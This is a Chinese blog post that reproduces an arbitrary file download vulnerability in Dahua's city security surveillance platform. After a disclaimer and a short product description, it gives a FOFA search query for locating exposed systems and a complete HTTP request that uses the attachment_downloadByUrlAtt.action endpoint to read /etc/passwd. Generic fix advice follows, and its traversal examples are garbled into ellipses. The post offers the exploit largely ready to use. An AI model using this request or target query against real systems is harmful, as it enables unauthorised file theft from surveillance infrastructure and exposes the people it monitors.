【漏洞复现】大华城市安防监控系统平台-attachment_downloadByUrlAtt.action-任意文件下载漏洞

Nday_Seeker

已于 2024-03-15 15:44:42 修改

阅读量465

点赞数 9

分类专栏：漏洞复现文章标签：网络安全

于 2024-03-15 11:39:56 首次发布

本文链接：https://blog.csdn.net/2301_80733390/article/details/136735229

版权

漏洞复现专栏收录该内容

17 篇文章 4 订阅

订阅专栏

免责声明

文章来源互联网收集整理，请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

漏洞描述

大华城市安防监控系统平台是一款集视频、报警、存储、管理于一体的综合安防解决方案。该平台支持多种接入方式，包括网络视频、模拟视频、数字视频、IP电话、对讲机等。此外，该平台还支持多种报警方式，包括移动侦测、区域入侵、越线报警、人员聚集等。
大华城市安防监控系统平台管理存在任意文件下载漏洞，攻击者通过漏洞可以下载服务器上的任意文件。

影响范围

大华城市安防监控系统平台

资产测绘

FOFA:

app="dahua-DSS"

漏洞复现

GET /portal/attachment_downloadByUrlAtt.action?filePath=file:///etc/passwd HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

修复建议

1、特殊字符过滤：检查用户输入，过滤或转义含有“…/”、“…\”、“%00”，“…”，“./”，“#”等跳转目录或字符终止符、截断字符的输入。
2、合法性判断：严格过滤用户输入字符的合法性，比如文件类型、文件地址、文件内容等。
3、白名单：白名单限定访问文件的路径、名称及后缀名。
4、提供设备的型号、序列号、项目名称、项目所在地、对应区域接口人、设备当前版本及发布日期、客户邮箱号码寻求厂商支持。